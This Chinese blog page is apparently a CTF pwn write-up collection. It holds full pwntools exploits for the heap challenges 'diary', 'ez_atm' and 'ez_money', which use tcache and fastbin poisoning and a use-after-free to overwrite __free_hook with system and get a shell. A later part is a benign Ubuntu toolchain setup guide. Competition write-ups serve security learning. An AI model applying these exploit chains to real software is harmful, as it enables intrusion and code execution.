  • 于是我们直接 encrypt tcachebin 上的 chunk,把 encrypt chunk 修改为 free_hook 后使用 decrypt 放回

这里的堆风水是比较困难的,因为 memset 会把 heap 上相当一部分的数据置空,导致程序出现段错误,因此在进行溢出的 chunk 后面就只能有 encrypt chunk

但在实际操作中又会遇到一些问题,溢出的字节数不够,只能在 encrypt chunk 上覆盖 free_hook 的前4字节,不能将完整的 free_hook 写入(不知道出题人设计好的)

这里我卡了很久,之后突然想到可以直接使用 update 来覆盖后4字节的值(程序会在 chunk 之前加上4个空格),然后就可以申请到 free_hook

最后记得在 “/bin/sh” 两端加上 “;” 进行间隔

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './diary'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

local = 0
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x3e66)\n")
#pause()

def cmd(str):
p.sendlineafter("input your test cmd:\n",str)

def add(year, month, day, hour, minutes, second, content):
cmd(b'add#'+bytes(str(year),encoding="utf8")+b'#'+bytes(str(month),encoding="utf8")+b'#'+bytes(str(day),encoding="utf8")+b'#'+bytes(str(hour),encoding="utf8")+b'#'+bytes(str(minutes),encoding = "utf8")+b'#'+bytes(str(second),encoding = "utf8")+b'#'+content)

def edit(idx, content):
cmd(b'update#'+ bytes(str(idx), encoding = "utf8")+b'#'+content)

def show(idx):
cmd('show#'+str(idx))

def dele(idx):
cmd('delete#'+str(idx))

def encrypt(idx, offset, length):
cmd('encrypt#'+str(idx)+'#'+str(offset)+'#'+str(length))

def decrypt(idx):
cmd('decrypt#'+str(idx))

#debug()
add(2022,12,10,10,30,30,b"1"*0x300)
add(2021,12,10,10,30,30,b"2"*0x300)
add(2020,12,10,10,30,30,b"3"*0x300)
add(2019,12,10,10,30,30,b"4"*0x300)
add(2018,12,10,10,30,30,b"5"*0x300)
add(2017,12,10,10,30,30,b"6"*0x300)
add(2016,12,10,10,30,30,b"7"*0x300)

dele(6)
dele(0)
dele(0)
dele(0)
dele(0)

show(1)
p.recvuntil("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
heap_base = leak_addr - 0x14390
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

dele(0)
dele(0)
add(1802,12,10,10,30,30,b"1"*0x300)
add(1801,12,10,10,30,30,b"2"*0x300)
add(1800,12,10,10,30,30,b"3"*0x300)
add(1809,12,10,10,30,30,b"4"*0x300)
add(1808,12,10,10,30,30,b"5"*0x300)
add(1807,12,10,10,30,30,b"6"*0x300)
add(1806,12,10,10,30,30,b"7"*0x300)
add(1805,12,10,10,30,30,b"8"*0x300)
add(1804,12,10,10,30,30,b"9"*0x300)

dele(8)
dele(7)
dele(6)
dele(5)
dele(4)
dele(3)
dele(0)

show(1)
p.recvuntil("\n")
leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc.sym["__free_hook"] + libc_base
system_libc = libc.sym["system"] + libc_base
one_gadgets = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = one_gadgets[2] + libc_base
success("free_hook >> "+hex(free_hook))

encrypt(0,4,0x8)
show(0)
p.recvuntil(" ")
leak_data = u64(p.recv(8).ljust(8,b"\x00"))
success("leak_data >> "+hex(leak_data))
random_key = leak_data ^ 0x3232323232323232
success("random_key >> "+hex(random_key))

dele(0)
dele(0)
add(1701,12,10,10,30,30,b"1"*0x30)
add(1702,12,10,10,30,30,b"2"*0x300)
add(1703,12,10,10,30,30,b"3"*0x300)
add(1704,12,10,10,30,30,b"4"*0x300)
add(1705,12,10,10,30,30,b"5"*0x300)
add(1706,12,10,10,30,30,b"6"*0x300)
add(1707,12,10,10,30,30,b"7"*0x300)
add(1708,12,10,10,30,30,b"8"*0x300)
add(1709,12,10,10,30,30,b"9"*0x300)
add(1710,12,10,10,30,30,b"0"*0x300)

dele(9)
dele(8)
dele(7)
dele(6)
dele(5)
dele(4)
dele(0)

heap_addr = 0x14770 + heap_base
add(1711,12,10,10,30,30,b"a"*0x2c0)
dele(0)
encrypt(2,0,4)

free_hook_up = u32(p64(free_hook-4-8)[4:8])
free_hook_down = u32(p64(free_hook-4-8)[:4])
success("free_hook_up >> "+hex(free_hook_up))
success("free_hook_down >> "+hex(free_hook_down))

edit(1,b"c"*(0x2f0-4)+p64(free_hook_down))
edit(2,p32(free_hook_up))
decrypt(2)

dele(0)
dele(0)
dele(0)

add(1712,12,10,10,30,30,b"a"*4+p64(heap_base))
add(1713,12,10,10,30,30,b";/bin/sh"+p64(system_libc))
dele(0)
add(1713,12,10,10,30,30,b";/bin/sh;"+p64(system_libc))

p.interactive()

ez_atm

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27.
1
2
3
4
5
6
ez_atm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/ld-2.27.so, for GNU/Linux 3.2.0, BuildID[sha1]=bd8945726574e2b623d0f972a2b9d04bb4fd9e3a, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

本程序分为客户端和服务端,在客户端上有一个后门:(没什么用)

1
2
3
4
5
6
7
int __cdecl __noreturn magic()
{
info("here I will give you a f1ag,you win!");
system("/bin/cat flag.txt");
close(sockfd);
_exit(0);
}

cancellation 函数中有一个 UAF:

1
2
3
4
5
6
7
8
9
10
11
12
13
for ( i = 5; i > 0; --i )
{
if ( check_password(current_account, &data[16]) )
{
free(account_list[current_account]); // UAF
current_account = -1;
toClient(1, "The target account has been cancelled.");
return 0LL;
}
if ( i != 1 )
toClient(2, "password error.Try again.");
receviceline();
}

stat_query 函数中调用的 toClient 函数中有溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void *__fastcall toClient(int num, _QWORD *str)
{
__int64 str_tmp; // rcx MAPDST
__int64 str_tmp2; // rdx

printf("reply : %s\n", (const char *)str);
strline = num;
str_tmp = str[1];
ret_data[0] = *str;
ret_data[1] = str_tmp;
str_tmp = str[3];
ret_data[2] = str[2];
ret_data[3] = str_tmp;
str_tmp = str[5];
ret_data[4] = str[4];
ret_data[5] = str_tmp;
str_tmp = str[7];
ret_data[6] = str[6];
ret_data[7] = str_tmp;
str_tmp = str[9];
ret_data[8] = str[8];
ret_data[9] = str_tmp;
str_tmp = str[11];
ret_data[10] = str[10];
ret_data[11] = str_tmp;
str_tmp = str[13];
ret_data[12] = str[12];
ret_data[13] = str_tmp;
str_tmp2 = str[15];
ret_data[14] = str[14];
ret_data[15] = str_tmp2;
send(fd, &strline, 0x84uLL, 0);
return memset(&strline, 0, 0x84uLL);
}

入侵思路

本地可以用如下方式运行程序:

1
2
./client 127.0.0.1 3339
./ez_atm

比赛时我看了半天也不知道该如何泄露,因为 client 限制了程序的输入,导致程序的溢出利用不了(虽然客户端的 stat_query 有溢出,但是服务端的 client 接收不到)

赛后看别人 wp 才发现可以不通过 client 进行交互,从而摆脱了 client 的限制

先把本地的 docker 环境搭起来:(记得在 bin 目录中添加一个 flag 文件)

1
docker build -t "ez_atm" .
  • 启动容器:
1
docker run -d -p "0.0.0.0:4444:8888" -p "0.0.0.0:7777:3339" -h "ez_atm" --name="ez_atm" ez_atm
  • 然后执行 docker exec -it 连接目标 docker:
1
docker exec -it 87a8f7705e22 /bin/sh
  • 后台运行程序:
1
2
cp ./ez_atm /
/ez_atm &
  • 查看程序的 PID:
1
2
3
4
5
ps -aux | grep "ez_atm"
root 185272 0.0 0.0 4396 764 pts/0 S 02:58 0:00 ./ez_atm # 子进程
root 185275 4.0 0.0 0 0 pts/0 Z 03:02 0:04 [ez_atm] <defunct>
root 247050 0.0 0.0 4528 68 pts/0 S 03:02 0:00 ./ez_atm # 父进程
root 247052 0.0 0.0 11472 1104 pts/0 S+ 03:03 0:00 grep ez_atm
  • 查看容器的 PID:
1
2
3
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
87a8f7705e22 ez_atm "/start.sh" 26 minutes ago Up 26 minutes 0.0.0.0:7777->3339/tcp, 0.0.0.0:4444->8888/tcp ez_atm
1
2
docker inspect -f '{{.State.Pid}}' 87a8f7705e22
377387

如果我们不使用 client 进行连接,就需要先绕过服务端的随机数检测:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
__int64 recv_init()
{
unsigned int seed[2]; // [rsp+8h] [rbp-38h] BYREF
char s[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]

v3 = __readfsqword(0x28u);
*(_QWORD *)seed = time(0LL);
srand(seed[0]);
strcpy(s, "yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy");
code(s);
send(fd, seed, 4uLL, 0);
if ( recv(fd, data, 0x1EuLL, 0) < 0 )
{
puts("error ");
close(fd);
exit(0);
}
puts(s);
if ( memcmp(s, data, 0x1EuLL) )
{
toClient(0, "1111");
close(fd);
_exit(0);
}
toClient(1, "success");
return 1LL;
}
  • 绕过该检测的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def init():
from ctypes import cdll
clibc = cdll.LoadLibrary('libc.so.6')

def getrand():
return clibc.rand() % 15

ask_time = u32(p.recv(4))
clibc.srand(ask_time)
uuid = list("yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
for i in range(len(uuid)):
if uuid[i] != '4' and uuid[i] != '-':
if uuid[i] == 'x':
uuid[i] = hex(getrand())[2:]
else:
uuid[i] = hex(getrand() & 3 | 8)[2:]
uuid = ''.join(uuid)
p.send(uuid)

另外我还看到一种解决办法,就是直接 path 客户端文件 client

1
2
3
4
5
6
void __cdecl stat_query()
{
send_msg("stat_query", 10);
recv_msg();
puts(&msg_rec.msg_info[24]);
}
1
2
3
4
5
6
pwndbg> telescope 0x7ffc9b86aa00
00:0000│ rax rsi 0x7ffc9b86aa00 ◂— 0x2
01:00080x7ffc9b86aa08 ◂— 0xfd7bd20ea9bd5400
02:00100x7ffc9b86aa10 —▸ 0x55959cc02130 ◂— push r15
03:00180x7ffc9b86aa18 —▸ 0x7f4fc5e01c87 (__libc_start_main+231) ◂— mov edi, eax
04:00200x7ffc9b86aa20 ◂— 0x1

获取到 libc_base 后,就直接把它写入 fastbin 中,然打 fastbin attack 就好了(最后执行 system(cat flag >&4)

完整 exp:(不通过 client 进行交互)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
import time
context.arch = "amd64"
#context.log_level = "debug"

def msg_send(op, account_id="", password="", money=0):
data = flat(
{
0x0: op,
0x10: password,
0x18: account_id,
0x38: p32(money),
},
filler='\x00'
).ljust(0x98, '\x00')
sh.send(data)
time.sleep(0.2)

def init():
from ctypes import cdll
clibc = cdll.LoadLibrary('libc.so.6')

def getrand():
return clibc.rand() % 15

ask_time = u32(sh.recv(4))
clibc.srand(ask_time)
uuid = list("yxyxyx-xyyx-4xyx4-xyyx-xyyyyxy")
for i in range(len(uuid)):
if uuid[i] != '4' and uuid[i] != '-':
if uuid[i] == 'x':
uuid[i] = hex(getrand())[2:]
else:
uuid[i] = hex(getrand() & 3 | 8)[2:]
uuid = ''.join(uuid)
sh.send(uuid)

sh = remote('127.0.0.1', 7777)
#sh = remote('139.9.242.36', 4445)
init()
msg_send("stat_query")

libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x21c87
log.success("libc_base:\t" + hex(libc_base))
free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f420
msg_send("new_account", "account1", "password", 0xdeadbeef)
msg_send("exit_account")
msg_send("new_account", "account2", "password", 0xdeadbeef)

msg_send("cancellation", "account2", "password")
msg_send("login", "account1", "password")
msg_send("query")
sh.recvuntil(p64(0x41) + p64(0))
heap_base = u64(sh.recv(8)) - 0x10
log.success("heap_base:\t" + hex(heap_base))
msg_send("exit_account")
msg_send("new_account", "account2", "password", 0xdeadbeef)
msg_send("exit_account")

msg_send("login", "account2", "password")
msg_send("cancellation", "account2", "password")
msg_send("login", "account1", "password")
msg_send("cancellation", "account1", "password")

msg_send("login", p64(heap_base + 0x10), p64(heap_base + 0x6b0))
msg_send("update_pwd", "account1", p64(free_hook_addr - 0x18))
msg_send("update_pwd", "account1", p64(heap_base + 0x6b0))
msg_send("exit_account")
msg_send("new_account", "test", "password", 0xdeadbeef)
msg_send("exit_account")
msg_send("new_account", ">&4\x00".ljust(0x10, '\x00') + p64(system_addr), "cat flag", 0xdeadbeef)
msg_send("cancellation", "", "cat flag")

sh.interactive()

完整 exp:(直接修改 client

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './client'

context.os='linux'
context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.27.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
#p = process(challenge)
p = process(['./client','127.0.0.1','3339'])
else:
p = process(['./client','139.9.242.36','4445'])

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x19DA)\n")
pause()

def cmd(choice):
sla("your choice :",choice)

def add(id,passwd,money):
cmd("new_account")
sla("please input the account id",id)
sla("please input the password",passwd)
sla("please input the money",str(money))

def free(passwd):
cmd("cancellation")
p.sendlineafter("please enter the password",passwd)

def quit():
cmd("exit_account")

def query():
cmd("query")

def login(account,passwd):
cmd("login")
sla("please input the account id",account)
sla("please input the password",passwd)

def change(account,passwd):
cmd("transfer_account")
sla("Please enter the remittance amount",account)
sla("please input your pasword",passwd)

def edit(passwd,old_passwd):
cmd("update_pwd")
sla("please entet a new password",passwd)
sla("please input your pasword.",old_passwd)

def stat_query():
cmd('stat_query')

stat_query()

leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base = leak_addr - 0x21c87
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system_libc = libc_base + libc.sym['system']
success("free_hook >> "+hex(free_hook))

for i in range(8):
add(str(i)*8,"123456",0x61)
quit()

for i in range(8):
login(str(i)*8,"123456")
free("123456")

login("7"*8,"\x00"*8)
edit(p64(free_hook-0x10),"\x00"*8)
quit()

for i in range(8):
add(str(i)*6,"123456",0x61)
quit()

add("a"*8,p64(system_libc),0x61)
quit()
add('>&4 ','cat flag',120)
free('cat flag')

p.interactive()

game

非预期

ez_money

1
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
1
2
3
4
5
6
ez_money: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d3173989de9ecef646bad08f24a9d5fda1061937, for GNU/Linux 3.2.0, stripped    
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

loan 函数中有溢出:

1
2
3
4
5
if ( loan_index > 10 )
{
output("The loan has reached the upper limit of the system.");
return 2LL;
}
  • 由于 loan 函数的执行次数没有设置正确,导致程序有一个堆溢出

入侵思路

程序会先申请一个 chunk 来存放 loan_info,它的相邻下一个 chunk 就是 chunk_list 的第一个对象

  • 我们在存放 loan_info 的 chunk 中进行溢出,修改相邻下一个 chunk 的 size 大小,使其可以进入 largebin
  • 然后释放掉 chunk_list 的第一个对象,使其进入 largebin,然后打印 loan_info 就可以泄露 libc_base

由于 libc-2.31 有 key 值保护 tcachebin,因此我们需要用同样的方式来泄露 heap_base

  • 在之前生成的 unsortedbin 中申请新的 chunk,使其覆盖原来 chunk_list 的第一个对象
  • 将其释放并组织一下堆风水就可以泄露 heap_base

最后利用堆风水劫持 tcachebin 就好了

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './ez_money'

context.os='linux'
#context.log_level = 'debug'

if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x1888)\n")
#pause()

def cmd(op):
sla("your choice",op)

def add(id,passwd,money):
cmd("new_account")
sla("please input the account id",id)
sla("please input the password",passwd)
sla("please input the money",str(money))

def dele(passwd):
cmd("Cancellation")
sla("please enter the password",passwd)

def quit():
cmd("Exit_account")

def login(account,passwd):
cmd("login")
sla("please input the account id",account)
sla("please input the password",passwd)

def edit(passwd,old_passwd):
cmd("Update_info")
sla("please entet a new password",passwd)
sla("please input your password.",old_passwd)

def loan(size,context):
cmd("Loan_money")
sla("Please enter the loan amount (no more than 1 million)",str(size))
sla("Please leave your comments.",context)

#debug()

for i in range(10):
add(str(i)*0x20,"123456",0x50)
loan(0x50,"a"*0x8)
quit()

add("a"*0x8+p64(0x461)+"w"*0x20,"123456",10000000)
loan(0x50,"p"*0x18)
quit()

add("b"*0x20,"123456",10000000)
quit()
add("c"*0x20,"123456",10000000)
quit()
add("d"*0x20,"123456",10000000)
quit()
add("e"*0x20,"123456",10000000)
quit()
add("f"*0x20,"123456",10000000)
quit()

login("w"*0x8+"p"*0x18,"w"*0x8)
dele("w"*0x8)
login("b"*0x20,"123456")
cmd("I'm vip!")

p.recvuntil("aaaaaaaaa")
p.recv(7)

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x1ecbe0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system_libc = libc_base + libc.sym['system']
success("free_hook >> "+hex(free_hook))

quit()
for i in range(3):
add(str(i)+"t"*0x1f,"123456",0x50)
quit()

login("e"*0x20,"123456")
dele("123456")
login("f"*0x20,"123456")
dele("123456")

login("0"+"t"*0x1f,"123456")
dele("123456")
login("2"+"t"*0x1f,"123456")
dele("123456")
login("c"*0x20,"123456")
cmd("I'm vip!")

p.recvuntil("aaaaaaaaQ")
p.recv(15)

leak_addr = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_addr - 0x10
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

quit()
login(p64(heap_base+0x10)+"t"*0x18,p64(heap_base+0x580))
edit(p64(free_hook),p64(heap_base+0x580))

quit()
add("g"*0x20,"123456",10000000)
quit()
add("h"*0x20,p64(system_libc),10000000)

quit()
login("d"*0x20,"123456\x00\x77")
edit("/bin/sh\x00","123456\x00\x77")
dele("/bin/sh\x00")

p.interactive()

前置工作

下载 VMware:VMware 中国 - 交付面向企业的数字化基础 | CN

下载对应的 Ubuntu 镜像:Index of /ubuntu-releases/ (ustc.edu.cn)

安装 Ubuntu

选择新建虚拟机:

选择稍后安装:

在“虚拟机设置”中选择“CD/DVD”,然后指定 ISO 镜像文件的位置:

启动虚拟机开始安装

左侧滑到最下面,然后选择“中文”,接着点击“安装Ubuntu”:

接下来的操作有点“炒蛋”,由于窗口空间有限,我们要利用方向键来选择“下一步”:

耐心等待程序安装完毕:

  • 如果嫌慢可以直接 Skip

安装 VMwareTools

右键选择“重新安装”:

选择左侧的 DVD,把压缩包解压:

执行命令 sudo ./vmware-install.pl,如果遇到 [NO] 要选择 [YES]

如果无法实现[主机/虚拟机]复制粘贴,就执行如下命令来安装 open-vm-tools:

1
sudo apt-get install open-vm-tools-desktop fuse

设置共享文件夹

在“虚拟机设置”中选择“共享文件夹”

选择“总是启用”后点击添加:

选择需要主机上需要共享的文件夹

然后在 /mnt/hgfs 目录下就有我们的共享目录了,如果没有则需要多安装一些东西

1
sudo apt install open-vm-tools*

输入以下命令查看 VMware 配置是否有问题:

1
vmware-hgfsclient

如果没有则进行挂载:

1
2
sudo mkdir /mnt/hgfs
sudo vmhgfs-fuse .host:/ /mnt/hgfs -o nonempty -o allow_other

安装 Clash for Linux 实现科学上网

下载地址:Releases · Fndroid/clash_for_windows_pkg (github.com)

  • 下载 Clash.for.Windows-0.17.3-x64-linux.tar.gz

解压后执行 ./cfw

  • 需要购买并配置机场

设置网络代理:

为 git 配置代理:

1
2
git config --global https.proxy https://127.0.0.1:7890
git config --global http.proxy http://127.0.0.1:7890

设置开机自动启动:

1
2
sudo touch /etc/systemd/system/clash.service
sudo vi /etc/systemd/system/clash.service
1
2
3
4
5
6
7
8
9
10
11
[Unit]
Description=clash daemon

[Service]
Type=simple
User=root
ExecStart=/opt/clash/clash -d /opt/clash/clash/
Restart=on-failure

[Install]
WantedBy=multi-user.target
1
2
systemctl start clash.service
systemctl enable clash.service

安装 Oh My Zsh 美化终端

安装 Zsh:

1
sudo apt install zsh
  • 将 Zsh 设置为默认 shell
1
chsh -s /bin/zsh

安装 Oh My Zsh:

1
sh -c "$(curl -fsSL https://gitee.com/mirrors/oh-my-zsh/raw/master/tools/install.sh)"

安装插件:

  • zsh-autosuggestions(代码补全)
1
git clone https://github.com/zsh-users/zsh-autosuggestions ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-autosuggestions
  • zsh-syntax-highlighting(颜色标记)
1
git clone https://github.com/zsh-users/zsh-syntax-highlighting.git ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting
  • 使用 gedit ~/.zshrc 命令进行进行配置(修改 plugins
1
2
3
4
5
plugins=(
git
zsh-autosuggestions
zsh-syntax-highlighting
)

Ubuntu 换源

1
2
sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup
sudo vim /etc/apt/sources.list
  • 更换阿里源:
1
2
3
4
5
6
7
8
9
10
deb http://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy-backports main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ jammy-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ jammy-proposed main restricted universe multiverse
  • 保存后更新
1
2
sudo apt-get update
sudo apt-get upgrade

安装 Python 环境

先安装通用软件依赖:

1
sudo apt install software-properties-common

然后安装 python:

1
2
3
sudo apt install python2
sudo apt install python3
sudo apt install python3-pip

由于 Ubuntu 官方源已经不支持 pip2 的安装,于是我们只能手动安装 pip2:

1
2
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python get-pip.py

pip 换源:

1
2
pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple
pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple

安装各种 pwn 工具

  • pwntools(核心)
1
2
python -m pip install --upgrade pwntools
python3 -m pip install --upgrade pwntools
  • patchelf(换 libc 版本)
1
2
3
4
5
6
7
git clone https://github.com/NixOS/patchelf.git
cd patchelf
./bootstrap.sh
./configure
make
make check
sudo make install
  • glibc-all-in-one(下载 libc 版本)
1
2
3
git clone https://github.com/matrix1001/glibc-all-in-one.git 
cd glibc-all-in-one/
python update_list
  • ROPgadget(找 gadget)
1
2
3
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
sudo python setup.py install
  • ropper(找 gadget)
1
sudo pip3 install ropper
  • seccomp_tools(检测沙盒)
1
2
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
  • one_gadget(找 one_gadget)
1
2
sudo apt install gcc ruby-dev
sudo gem install one_gadget

安装调试工具

  • GDB
1
sudo apt-get install gdb
  • pwngdb
1
2
git clone https://github.com/scwuaptx/Pwngdb.git 
cp ./Pwngdb/.gdbinit ~/
  • pwndbg
1
2
3
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

pwngdb+pwndbg 文件配置:

1
gedit ~/.gdbinit
1
2
3
4
5
6
7
8
9
10
11
# source ~/tools/peda/peda.py
source ~/tools/pwndbg/gdbinit.py
source ~/tools/Pwngdb/pwngdb.py
source ~/tools/Pwngdb/angelheap/gdbinit.py

define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end

安装 VScode

1
2
3
4
5
wget -q https://packages.microsoft.com/keys/microsoft.asc -O- | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://packages.microsoft.com/repos/vscode stable main"
sudo apt update
sudo apt upgrade
sudo apt install code

下载与更换 gcc 版本

1
2
3
4
sudo apt install g++-5
sudo apt install gcc-5
sudo apt install g++-7
sudo apt install gcc-7
1
2
3
4
5
6
7
8
9
➜  Tools ls  /usr/bin | grep g++
g++
g++-5
g++-7
g++-9
x86_64-linux-gnu-g++
x86_64-linux-gnu-g++-5
x86_64-linux-gnu-g++-7
x86_64-linux-gnu-g++-9

使用以下命令生成链接组:

1
2
3
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-5 50 --slave /usr/bin/g++ g++ /usr/bin/g++-5
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-7 50 --slave /usr/bin/g++ g++ /usr/bin/g++-7
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-9 50 --slave /usr/bin/g++ g++ /usr/bin/g++-9

使用如下命令更换 gcc:

1
sudo update-alternatives --config gcc

效果如下:

1
2
3
4
5
6
7
8
9
10
3 个候选项可用于替换 gcc (提供 /usr/bin/gcc)。

选择 路径 优先级 状态
------------------------------------------------------------
* 0 /usr/bin/gcc-5 50 自动模式
1 /usr/bin/gcc-5 50 手动模式
2 /usr/bin/gcc-7 50 手动模式
3 /usr/bin/gcc-9 50 手动模式

要维持当前值[*]请按<回车键>,或者键入选择的编号:

安装 docker

docker:

1
2
3
4
5
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
